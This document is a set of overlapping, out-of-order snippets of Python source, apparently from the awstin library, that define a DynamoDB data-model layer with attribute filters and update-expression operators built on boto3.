"= dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"SET\": [ f\"{serialized_attr['UpdateExpression']}",
"as part of the update expression in ``Table.update_item``. \"\"\" return",
"__str__(self): return \"<<Attribute not set>>\" def __repr__(self): return \"<<Attribute not",
"[ f\"{serialized_attr['UpdateExpression']} = \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\":",
"lists \"\"\" def __init__(self, left, right): self.left = left self.right",
"\"\" else: current_section += letter if current_section: parts.append(current_section) serialized =",
"CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def __rsub__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\")",
"= cls() for attr in model_attrs.values(): setattr(result, attr, NOT_SET) for",
"\"\"\" Filter results by existence in a set Parameters ----------",
"expression : UpdateOperand Value to delete \"\"\" return DeleteOperator(self, UpdateOperand(expression))",
") return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ),",
"for returned results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self, low, high):",
"to float in the deserialization. Parameters ---------- data : dict",
"\"ExpressionAttributeNames\": dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ),",
"two lists \"\"\" def __init__(self, left, right): self.left = left",
"of the property in the DynamoDB table. Defaults to the",
"def contains(self, value): \"\"\" Filter results by attributes that are",
"---------- values : Any Result must contain this item \"\"\"",
"---- Update Operators class UpdateOperator(ABC): \"\"\" A representation of an",
"dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"SET\": [ f\"{serialized_attr['UpdateExpression']} =",
"import Attr as BotoAttr from boto3.dynamodb.conditions import Key as BotoKey",
"an attribute. Corresponds to REMOVE as part of the update",
"defining an ORM model for a DynamoDB table. Subclasses must",
"on a dynamodb table data model \"\"\" _query_type = BotoKey",
"@classmethod def deserialize(cls, data): \"\"\" Deserialize JSON into a DynamoModel",
"the attribute on the DynamoModel class. \"\"\" # Set by",
"other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def __radd__(self, other): return CombineOperand(UpdateOperand(other),",
"name, NOT_SET) for name, value in kwargs.items(): if name not",
"a value to the combination of two lists in an",
"[\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"],",
"current_section: parts.append(current_section) serialized = \"\" name_map = {} # Separate",
"\"UpdateExpression\": self.update_expression(update_dict), } if update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]:",
"------- dict kwargs to be passed to DynamoDB get attribute",
"Name of the property in the DynamoDB table. Defaults to",
"the DynamoDB table. Defaults to the name of the attribute",
"JSON entry \"\"\" model_attrs = type(self)._dynamodb_attributes() result = {} for",
"isinstance(getattr(self, attr), BaseAttribute) } return result def _get_kwargs(self): \"\"\" Kwargs",
"or attribute beginning with a value Parameters ---------- value :",
"if part.startswith(\".\"): serialized += \".\" part = part[1:] sections =",
"the update expression in ``Table.update_item``. Parameters ---------- expression : UpdateOperand",
"add \"\"\" return AddOperator(self, UpdateOperand(expression)) def delete(self, expression): \"\"\" Delete",
"def __radd__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def __rsub__(self, other):",
"---------- value : str Starting string for returned results \"\"\"",
"return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value):",
"= {from_decimal(k): from_decimal(v) for k, v in value.items()} else: value",
"= \"#\" + str(uuid.uuid4())[:8] name_map[name] = section serialized_sections.append(name) serialized +=",
"in part and \"]\" in part: serialized += part else:",
"into a DynamoModel subclass. Internally converts Decimal to float in",
"model_name) if value is not NOT_SET: if type(value) in [list,",
"existence of an attribute \"\"\" return BotoAttr(self._awstin_name).exists() def in_(self, values):",
"set, tuple]: name = \":\" + name value = type(value)([to_decimal(v)",
"attribute \"\"\" def __init__(self, **kwargs): \"\"\" Parameters ---------- **kwargs :",
"name, \"ExpressionAttributeNames\": {}, \"ExpressionAttributeValues\": {name: to_decimal(value)}, } def itemize_attr(attr): #",
"serialized += part else: if part.startswith(\".\"): serialized += \".\" part",
"str(uuid.uuid4())[:8]: value for value in self._dynamodb_attributes().keys() } expression = \",",
"dict kwargs to be passed to DynamoDB get attribute calls",
"\"\"\" # Set by user self._attribute_name = attribute_name # Set",
"serialize_operand(self.value) expression = ( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" ) return {",
"value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value): \"\"\" Filter results by",
"\"ExpressionAttributeValues\" ], } class AddOperator(UpdateOperator): def __init__(self, attr, operand): self.attr",
"in [list, set, tuple]: value = type(value)(from_decimal(v) for v in",
"BotoAttr(self._awstin_name).not_exists() def size(self): \"\"\" Filter by size of a collection",
"\"\" for letter in attr._awstin_name: if letter == \"[\": parts.append(current_section)",
"name not in model_attrs: msg = f\"{type(self)!r} has no attribute",
"in [list, set, tuple]: name = \":\" + name value",
": Any High end of the range \"\"\" return self._query_type(self._awstin_name).between(",
"name in model_attrs: setattr(self, name, NOT_SET) for name, value in",
"= update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\" ] return",
"value): return BotoAttr(self._awstin_name).ne(to_decimal(value)) def not_exists(self): \"\"\" Filter results by non-existence",
"Internally converts float to Decimal. Returns ------- dict of (str,",
"attr def update_dict(self): serialized_attr = itemize_attr(self.attr) return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]],",
"the update expression \"ExpressionAttributeNames\": Placeholder map for attribute names \"ExpressionAttributeValues\":",
"class ListAppendOperand(UpdateOperand): \"\"\" Combine two lists \"\"\" def __init__(self, left,",
"that are containers and contain the target value Parameters ----------",
"beginning with a value Parameters ---------- value : str Starting",
"self.right = right def serialize(self): ser_left = serialize_operand(self.left) ser_right =",
"or subtact two expressions \"\"\" def __init__(self, left, right, symbol):",
"__repr__(self): return \"<<Attribute not set>>\" NOT_SET = NotSet() class BaseAttribute:",
"+= letter if current_section: parts.append(current_section) serialized = \"\" name_map =",
"query hash and sort key attributes on a dynamodb table",
"\"ExpressionAttributeNames\": name_map, \"ExpressionAttributeValues\": {}, } return result class UpdateOperand: \"\"\"",
"Decimal. Returns ------- dict of (str, Any) The serialized JSON",
"a projection expression and placeholders \"\"\" placeholders = { \"#\"",
"is dict: value = {to_decimal(k): to_decimal(v) for k, v in",
"\"#\" + str(uuid.uuid4())[:8] name_map[name] = section serialized_sections.append(name) serialized += \".\".join(serialized_sections)",
"self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value): \"\"\" Filter results by attribute type",
"serialized += \".\" part = part[1:] sections = part.split(\".\") serialized_sections",
"and query hash and sort key attributes on a dynamodb",
"``_index_name_`` attribute \"\"\" def __init__(self, **kwargs): \"\"\" Parameters ---------- **kwargs",
"expressions \"\"\" def __init__(self, left, right, symbol): self.left = left",
"current_section = \"\" for letter in attr._awstin_name: if letter ==",
"return result class CombineOperator(UpdateOperator): \"\"\" Combine two update expressions \"\"\"",
"get_item \"\"\" return { **self._dynamo_projection(), **self._index_kwargs(), } def _dynamo_projection(self): \"\"\"",
"define and query non-key attributes on a dynamodb table data",
"), } def list_append(left, right): \"\"\" Set a value to",
"left self.right = right def update_dict(self): result = defaultdict(list) ser_left",
"def if_not_exists(self, value): \"\"\" Conditionally return a value if this",
"_awstin_name(self): if self._attribute_name is not None: return self._attribute_name else: return",
"and Key attributes. \"\"\" model_attrs = type(self)._dynamodb_attributes().values() for name in",
"expressions --- def begins_with(self, value): \"\"\" Filter results by a",
"= { \"#\" + str(uuid.uuid4())[:8]: value for value in self._dynamodb_attributes().keys()",
"update_item \"\"\" update_dict = self.update_dict() result = { \"UpdateExpression\": self.update_expression(update_dict),",
"attr else: return attr def _dynamodb_attributes(self): result = { getattr(self,",
"REMOVE as part of the update expression in ``Table.update_item``. \"\"\"",
"contain this item \"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\" Filter",
"__lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def",
"def __init__(self, attr, value): self.attr = attr self.value = value",
"return self._query_type(self._awstin_name).eq(to_decimal(value)) def __gt__(self, value): return self._query_type(self._awstin_name).gt(to_decimal(value)) def __ge__(self, value):",
"from DynamoDB Returns ------- dict kwargs to be passed to",
"type Parameters ---------- value : str Index for a DynamoDB",
"a new value \"\"\" return SetOperator(self, UpdateOperand(expression)) def remove(self): \"\"\"",
"and values are: \"UpdateExpression\": string representing the update expression \"ExpressionAttributeNames\":",
"\"\"\" Add to an attribute (numerical add or addition to",
"(e.g. \"N\" for Number) \"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value):",
"None: return self._attribute_name else: return self._name_on_model def __getattr__(self, name): \"\"\"",
"Filter results by range (inclusive) Parameters ---------- low : Any",
"to_decimal class NotSet: \"\"\" A value of an attribute on",
"Size(self._awstin_name) # --- Update expressions --- def set(self, expression): \"\"\"",
"\"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names, \"ExpressionAttributeValues\":",
"a set Parameters ---------- values : list of Any Allowed",
"a DynamoDB attribute type (e.g. \"N\" for Number) \"\"\" return",
"\"\"\" def __init__(self, attr, value): self.attr = attr self.value =",
"\"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"], \"ExpressionAttributeValues\": {}, } class DeleteOperator(UpdateOperator): def __init__(self, attr,",
"**serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"ADD\": [ f\"{serialized_attr['UpdateExpression']} \" +",
"expressions = [] for operation in \"SET\", \"ADD\", \"DELETE\", \"REMOVE\":",
"the range high : Any High end of the range",
"Conditionally return a value if this attribute doesn't exist on",
"\"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class RemoveOperator(UpdateOperator): def __init__(self, attr):",
"model \"\"\" _query_type = BotoAttr def size_query(self, *args, **kwargs): return",
"key in [\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict(",
"in value) elif type(value) is dict: value = {from_decimal(k): from_decimal(v)",
"pass @staticmethod def update_expression(update_dict): expressions = [] for operation in",
"SET \"\"\" def __init__(self, attr, operand): self.attr = attr self.operand",
"update_dict(self): serialized_attr = itemize_attr(self.attr) return { \"REMOVE\": [serialized_attr[\"UpdateExpression\"]], \"ExpressionAttributeNames\": serialized_attr[\"ExpressionAttributeNames\"],",
"for dynamo_name, model_name in model_attrs.items(): value = getattr(self, model_name) if",
"\"]\" in part: serialized += part else: if part.startswith(\".\"): serialized",
"Add or subtact two expressions \"\"\" def __init__(self, left, right,",
"+ \" \" + \", \".join(update_dict[operation])) return \" \".join(expressions) def",
"float in the deserialization. Parameters ---------- data : dict of",
"if type(value) in [list, set, tuple]: value = type(value)(from_decimal(v) for",
"**ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } def list_append(left, right): \"\"\" Set a",
"the data model should be Attr or Key instances. Subclasses",
"that should be passed to query, scan, get_item \"\"\" return",
"**ser_value[\"ExpressionAttributeNames\"], ), \"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), } class ListAppendOperand(UpdateOperand):",
"Parameters ---------- values : Any Result must contain this item",
"\"\"\" return AddOperator(self, UpdateOperand(expression)) def delete(self, expression): \"\"\" Delete part",
"results by existence of an attribute \"\"\" return BotoAttr(self._awstin_name).exists() def",
"\"\"\" Add or subtact two expressions \"\"\" def __init__(self, left,",
"[list, set, tuple]: value = type(value)(from_decimal(v) for v in value)",
"in_values = [to_decimal(value) for value in values] return BotoAttr(self._awstin_name).is_in(in_values) def",
"class. \"\"\" # Set by user self._attribute_name = attribute_name #",
"for attr in dir(self) if isinstance(getattr(self, attr), BaseAttribute) } return",
"attr): self.attr = attr def update_dict(self): serialized_attr = itemize_attr(self.attr) return",
"\", \".join(update_dict[operation])) return \" \".join(expressions) def serialize(self): \"\"\" Produce kwargs",
"in a DynamoDB result \"\"\" def __str__(self): return \"<<Attribute not",
"symbol def serialize(self): ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right) expression",
"BotoKey from awstin.dynamodb.utils import from_decimal, to_decimal class NotSet: \"\"\" A",
"model \"\"\" model_attrs = cls._dynamodb_attributes() result = cls() for attr",
"+ str(uuid.uuid4())[:8]: value for value in self._dynamodb_attributes().keys() } expression =",
"a new value. Corresponds to SET as part of the",
"= defaultdict(list) ser_left = self.left.update_dict() ser_right = self.right.update_dict() items =",
"= size_query class DynamoModelMeta(type): def __getattribute__(self, name): attr = super().__getattribute__(name)",
"attribute names \"ExpressionAttributeValues\": Placeholder map for attribute values Returns -------",
"part of the update expression in ``Table.update_item``. Parameters ---------- expression",
"NotSet() class BaseAttribute: def __init__(self, attribute_name: Union[str, None] = None):",
"value) elif type(value) is dict: value = {to_decimal(k): to_decimal(v) for",
"name = str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand): return value.serialize() elif isinstance(value,",
"return type(self)(attribute_name=f\"{self._awstin_name}.{name}\") def __getitem__(self, index): \"\"\" Support for nested container",
"= \":\" + name return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {},",
"Used to define and query non-key attributes on a dynamodb",
"into DynamoDB. Internally converts float to Decimal. Returns ------- dict",
"\"\"\" return CombineOperator(self, other) @abstractmethod def update_dict(self): pass @staticmethod def",
"return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\" Filter results by existence of",
"value if the given attribute does not exist \"\"\" def",
"{ \"ADD\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\": attribute_names,",
"new value. Corresponds to SET as part of the update",
"attribute_names, \"ExpressionAttributeValues\": serialized_operand[ \"ExpressionAttributeValues\" ], } class RemoveOperator(UpdateOperator): def __init__(self,",
"return { \"ADD\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ], \"ExpressionAttributeNames\":",
"\"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], )",
"= BotoAttr def size_query(self, *args, **kwargs): return BotoAttr(self._awstin_name).size() class Size(BaseAttribute):",
"results by a key or attribute beginning with a value",
"Internally converts Decimal to float in the deserialization. Parameters ----------",
"converts Decimal to float in the deserialization. Parameters ---------- data",
"**ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } class IfNotExistsOperand(UpdateOperand): \"\"\" Set a value",
"hash and sort key attributes on a dynamodb table data",
"return CombineOperator(self, other) @abstractmethod def update_dict(self): pass @staticmethod def update_expression(update_dict):",
"str, optional Name of the property in the DynamoDB table.",
"size_query class DynamoModelMeta(type): def __getattribute__(self, name): attr = super().__getattribute__(name) if",
"\"\"\" def __init__(self, attr, operand): self.attr = attr self.operand =",
"should also have an ``_index_name_`` attribute \"\"\" def __init__(self, **kwargs):",
"part of the update expression in ``Table.update_item``. \"\"\" return RemoveOperator(self)",
"if isinstance(getattr(self, attr), BaseAttribute) } return result def _get_kwargs(self): \"\"\"",
"self._name_on_model = None @property def _awstin_name(self): if self._attribute_name is not",
"value) return result def serialize(self): \"\"\" Serialize a DynamoModel subclass",
"\"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query and scan filter expressions",
"---------- data : dict of (str, Any) Serialized model Returns",
"for a DynamoDB table. Subclasses must have a ``_table_name_`` attribute.",
"for v in value]) return { \"UpdateExpression\": name, \"ExpressionAttributeNames\": {},",
") return { \"DELETE\": [ f\"{serialized_attr['UpdateExpression']} \" + serialized_operand[\"UpdateExpression\"] ],",
"RemoveOperator(self) def add(self, expression): \"\"\" Add to an attribute (numerical",
"name return attr else: return attr def _dynamodb_attributes(self): result =",
"value): self.value = value def serialize(self): return serialize_operand(self.value) class CombineOperand(UpdateOperand):",
") return { \"SET\": [ f\"{serialized_attr['UpdateExpression']} = \" + serialized_operand[\"UpdateExpression\"]",
"\"\"\" return Size(self._awstin_name) # --- Update expressions --- def set(self,",
"def serialize(self): ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right) expression =",
"type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query and scan filter expressions --- def",
"__ge__(self, value): return self._query_type(self._awstin_name).gte(to_decimal(value)) def __lt__(self, value): return self._query_type(self._awstin_name).lt(to_decimal(value)) def",
"``Table.update_item``. Parameters ---------- expression : UpdateOperand Value to delete \"\"\"",
"(str, Any) Initialization of Attr and Key attributes. \"\"\" model_attrs",
"combination of two lists in an update expression \"\"\" return",
"= { getattr(self, attr)._awstin_name: attr for attr in dir(self) if",
"BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value): \"\"\" Filter results by attributes that",
"Size(BaseAttribute): _query_type = size_query class DynamoModelMeta(type): def __getattribute__(self, name): attr",
"\"REMOVE\"]: result[key].extend(values) result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] =",
"CombineOperator(self, other) @abstractmethod def update_dict(self): pass @staticmethod def update_expression(update_dict): expressions",
"**ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), } class ListAppendOperand(UpdateOperand): \"\"\" Combine two lists",
"set attribute. Corresponds to DELETE as part of the update",
"UpdateOperand(other), \"+\") def __sub__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def",
"@property def _awstin_name(self): if self._attribute_name is not None: return self._attribute_name",
"\"ExpressionAttributeValues\" ] return result class CombineOperator(UpdateOperator): \"\"\" Combine two update",
"update_dict[ \"ExpressionAttributeValues\" ] return result class CombineOperator(UpdateOperator): \"\"\" Combine two",
"\"\"\" model_attrs = type(self)._dynamodb_attributes() result = {} for dynamo_name, model_name",
"left, right): self.left = left self.right = right def update_dict(self):",
"= [] current_section = \"\" for letter in attr._awstin_name: if",
"boto3.dynamodb.conditions import Attr as BotoAttr from boto3.dynamodb.conditions import Key as",
"value = type(value)([to_decimal(v) for v in value]) return { \"UpdateExpression\":",
"\"ExpressionAttributeNames\": Placeholder map for attribute names \"ExpressionAttributeValues\": Placeholder map for",
"value for value in self._dynamodb_attributes().keys() } expression = \", \".join(placeholders.keys())",
"dynamodb table data model \"\"\" _query_type = BotoKey class Attr(BaseAttribute):",
"\"\"\" Used to define and query hash and sort key",
"serialize(self): ser_attr = serialize_operand(self.attr) ser_value = serialize_operand(self.value) expression = (",
"\"\"\" def __init__(self, left, right, symbol): self.left = left self.right",
"import Key as BotoKey from awstin.dynamodb.utils import from_decimal, to_decimal class",
"\"\"\" return BotoAttr(self._awstin_name).attribute_type(to_decimal(value)) def contains(self, value): \"\"\" Filter results by",
"this attribute doesn't exist on the model \"\"\" return IfNotExistsOperand(UpdateOperand(self),",
"result class UpdateOperand: \"\"\" Inner part of an update expression",
"elif type(value) is dict: value = {from_decimal(k): from_decimal(v) for k,",
"container queries \"\"\" return type(self)(attribute_name=f\"{self._awstin_name}[{index}]\") # --- Query and scan",
"return \" \".join(expressions) def serialize(self): \"\"\" Produce kwargs to be",
"import Union from boto3.dynamodb.conditions import Attr as BotoAttr from boto3.dynamodb.conditions",
"} return result class UpdateOperand: \"\"\" Inner part of an",
"The deserialized data model \"\"\" model_attrs = cls._dynamodb_attributes() result =",
"delete(self, expression): \"\"\" Delete part of a set attribute. Corresponds",
"value if this attribute doesn't exist on the model \"\"\"",
"of an UpdateItem expression \"\"\" def __and__(self, other): \"\"\" Combine",
"value}, } else: name = \":\" + name return {",
"\"-\") def __radd__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"+\") def __rsub__(self,",
"in items: if key in [\"SET\", \"ADD\", \"DELETE\", \"REMOVE\"]: result[key].extend(values)",
"dict: value = {from_decimal(k): from_decimal(v) for k, v in value.items()}",
"BaseAttribute) } return result def _get_kwargs(self): \"\"\" Kwargs that should",
"result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\" ]",
"__add__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def __sub__(self, other): return",
"def __getitem__(self, index): \"\"\" Support for nested container queries \"\"\"",
"Key instances. Subclasses representing indexes should also have an ``_index_name_``",
"in value.items()} else: value = to_decimal(value) result[dynamo_name] = value return",
"serialize(self): ser_left = serialize_operand(self.left) ser_right = serialize_operand(self.right) expression = (",
"update_dict[\"ExpressionAttributeNames\"]: result[\"ExpressionAttributeNames\"] = update_dict[\"ExpressionAttributeNames\"] if update_dict[\"ExpressionAttributeValues\"]: result[\"ExpressionAttributeValues\"] = update_dict[ \"ExpressionAttributeValues\"",
"in parts: if \"[\" in part and \"]\" in part:",
"from_decimal, to_decimal class NotSet: \"\"\" A value of an attribute",
"= type(self)._dynamodb_attributes().values() for name in model_attrs: setattr(self, name, NOT_SET) for",
"---------- values : list of Any Allowed values of returned",
"def __getattr__(self, name): \"\"\" Support for nested mapping queries \"\"\"",
"result # ---- Update Operators class UpdateOperator(ABC): \"\"\" A representation",
"in self._dynamodb_attributes().keys() } expression = \", \".join(placeholders.keys()) return dict( ProjectionExpression=expression,",
"def __sub__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"-\") def __radd__(self, other):",
"indexes parts = [] current_section = \"\" for letter in",
"operand): self.attr = attr self.operand = operand def update_dict(self): serialized_attr",
"serialized_sections.append(name) serialized += \".\".join(serialized_sections) result = { \"UpdateExpression\": serialized, \"ExpressionAttributeNames\":",
"result \"\"\" def __str__(self): return \"<<Attribute not set>>\" def __repr__(self):",
": str Index for a DynamoDB attribute type (e.g. \"N\"",
"= attr self.operand = operand def update_dict(self): serialized_attr = itemize_attr(self.attr)",
"f\"{type(self)!r} has no attribute {name!r}\" raise AttributeError(msg) setattr(self, name, value)",
"= self.right.update_dict() items = list(ser_left.items()) + list(ser_right.items()) for key, values",
"= serialize_operand(self.value) expression = ( f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" ) return",
"Produce kwargs to be passed to DynamoDB Table.update_item. Keys and",
"UpdateOperand(self), \"+\") def __rsub__(self, other): return CombineOperand(UpdateOperand(other), UpdateOperand(self), \"-\") def",
"Set a value to the combination of two lists in",
"dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"ADD\": [ f\"{serialized_attr['UpdateExpression']} \"",
"\"]\") current_section = \"\" else: current_section += letter if current_section:",
"def __str__(self): return \"<<Attribute not set>>\" def __repr__(self): return \"<<Attribute",
"left self.right = right def serialize(self): ser_left = serialize_operand(self.left) ser_right",
"__getitem__(self, index): \"\"\" Support for nested container queries \"\"\" return",
"UpdateOperand Value to delete \"\"\" return DeleteOperator(self, UpdateOperand(expression)) def __add__(self,",
"result = { getattr(self, attr)._awstin_name: attr for attr in dir(self)",
"Key as BotoKey from awstin.dynamodb.utils import from_decimal, to_decimal class NotSet:",
"subclass. Internally converts Decimal to float in the deserialization. Parameters",
"DeleteOperator(UpdateOperator): def __init__(self, attr, operand): self.attr = attr self.operand =",
"data from DynamoDB Returns ------- dict kwargs to be passed",
"= [] for operation in \"SET\", \"ADD\", \"DELETE\", \"REMOVE\": if",
"self.symbol = symbol def serialize(self): ser_left = serialize_operand(self.left) ser_right =",
"**self._index_kwargs(), } def _dynamo_projection(self): \"\"\" Attributes to request when retrieving",
"low, high): \"\"\" Filter results by range (inclusive) Parameters ----------",
"Filter results by non-existence of an attribute \"\"\" return BotoAttr(self._awstin_name).not_exists()",
"to define and query non-key attributes on a dynamodb table",
"_dynamodb_attributes(self): result = { getattr(self, attr)._awstin_name: attr for attr in",
"def __repr__(self): return \"<<Attribute not set>>\" NOT_SET = NotSet() class",
"# --- Query and scan filter expressions --- def begins_with(self,",
"self.attr = attr def update_dict(self): serialized_attr = itemize_attr(self.attr) return {",
"from collections import defaultdict from typing import Union from boto3.dynamodb.conditions",
"self.operand.serialize() attribute_names = dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"SET\":",
"CombineOperand(UpdateOperand): \"\"\" Add or subtact two expressions \"\"\" def __init__(self,",
"containers and contain the target value Parameters ---------- values :",
"\"\"\" Filter results by attributes that are containers and contain",
"class DynamoModelMeta(type): def __getattribute__(self, name): attr = super().__getattribute__(name) if isinstance(attr,",
"if value is not NOT_SET: if type(value) in [list, set,",
"expressions \"\"\" return CombineOperator(self, other) @abstractmethod def update_dict(self): pass @staticmethod",
"------- DynamoModel The deserialized data model \"\"\" model_attrs = cls._dynamodb_attributes()",
"on the DynamoModel class. \"\"\" # Set by user self._attribute_name",
"serialize(self): return serialize_operand(self.value) class CombineOperand(UpdateOperand): \"\"\" Add or subtact two",
"+ \"]\") current_section = \"\" else: current_section += letter if",
"f\"if_not_exists({ser_attr['UpdateExpression']}, \" f\"{ser_value['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict(",
"return a value if this attribute doesn't exist on the",
"f\"list_append({ser_left['UpdateExpression']}, \" f\"{ser_right['UpdateExpression']})\" ) return { \"UpdateExpression\": expression, \"ExpressionAttributeNames\": dict(",
"return self._query_type(self._awstin_name).lt(to_decimal(value)) def __le__(self, value): return self._query_type(self._awstin_name).lte(to_decimal(value)) def attribute_type(self, value):",
"value = {from_decimal(k): from_decimal(v) for k, v in value.items()} else:",
"names \"ExpressionAttributeValues\": Placeholder map for attribute values Returns ------- dict",
"[] current_section = \"\" for letter in attr._awstin_name: if letter",
"} def list_append(left, right): \"\"\" Set a value to the",
"part = part[1:] sections = part.split(\".\") serialized_sections = [] for",
"= super().__getattribute__(name) if isinstance(attr, BaseAttribute): attr._name_on_model = name return attr",
"an attribute \"\"\" return BotoAttr(self._awstin_name).exists() def in_(self, values): \"\"\" Filter",
"# ---- Update Operators class UpdateOperator(ABC): \"\"\" A representation of",
"UpdateOperand(expression)) def __add__(self, other): return CombineOperand(UpdateOperand(self), UpdateOperand(other), \"+\") def __sub__(self,",
"operand def update_dict(self): serialized_attr = itemize_attr(self.attr) serialized_operand = self.operand.serialize() attribute_names",
"the name of the attribute on the DynamoModel class. \"\"\"",
"{}, } return result class UpdateOperand: \"\"\" Inner part of",
"expression : UpdateOperand Value to add \"\"\" return AddOperator(self, UpdateOperand(expression))",
"\"\"\" def __str__(self): return \"<<Attribute not set>>\" def __repr__(self): return",
"---------- expression : UpdateOperand New value, or an expression defining",
"\"ExpressionAttributeValues\": dict( **ser_attr[\"ExpressionAttributeValues\"], **ser_value[\"ExpressionAttributeValues\"], ), } class ListAppendOperand(UpdateOperand): \"\"\" Combine",
"serialized += \".\".join(serialized_sections) result = { \"UpdateExpression\": serialized, \"ExpressionAttributeNames\": name_map,",
"Starting string for returned results \"\"\" return self._query_type(self._awstin_name).begins_with(to_decimal(value)) def between(self,",
"\"\"\" return BotoAttr(self._awstin_name).contains(to_decimal(value)) def exists(self): \"\"\" Filter results by existence",
"attribute on a data model is not present in a",
"value of an attribute on a data model is not",
"kwargs to be passed to DynamoDB Table.update_item. Keys and values",
"), \"ExpressionAttributeValues\": dict( **ser_left[\"ExpressionAttributeValues\"], **ser_right[\"ExpressionAttributeValues\"], ), } def list_append(left, right):",
"= dict( **serialized_operand[\"ExpressionAttributeNames\"], **serialized_attr[\"ExpressionAttributeNames\"], ) return { \"ADD\": [ f\"{serialized_attr['UpdateExpression']}",
"import uuid from abc import ABC, abstractmethod from collections import",
"in part: serialized += part else: if part.startswith(\".\"): serialized +=",
"float to Decimal. Returns ------- dict of (str, Any) The",
"result[\"ExpressionAttributeNames\"] = dict( **ser_left[\"ExpressionAttributeNames\"], **ser_right[\"ExpressionAttributeNames\"], ) result[\"ExpressionAttributeValues\"] = dict( **ser_left[\"ExpressionAttributeValues\"],",
"**kwargs): \"\"\" Parameters ---------- **kwargs : dict of (str, Any)",
"\"\"\" Filter results by a key or attribute beginning with",
"values are: \"UpdateExpression\": string representing the update expression \"ExpressionAttributeNames\": Placeholder",
"= str(uuid.uuid4())[:8] if isinstance(value, UpdateOperand): return value.serialize() elif isinstance(value, BaseAttribute):",
"dict of (str, Any) The serialized JSON entry \"\"\" model_attrs",
"by attributes that are containers and contain the target value",
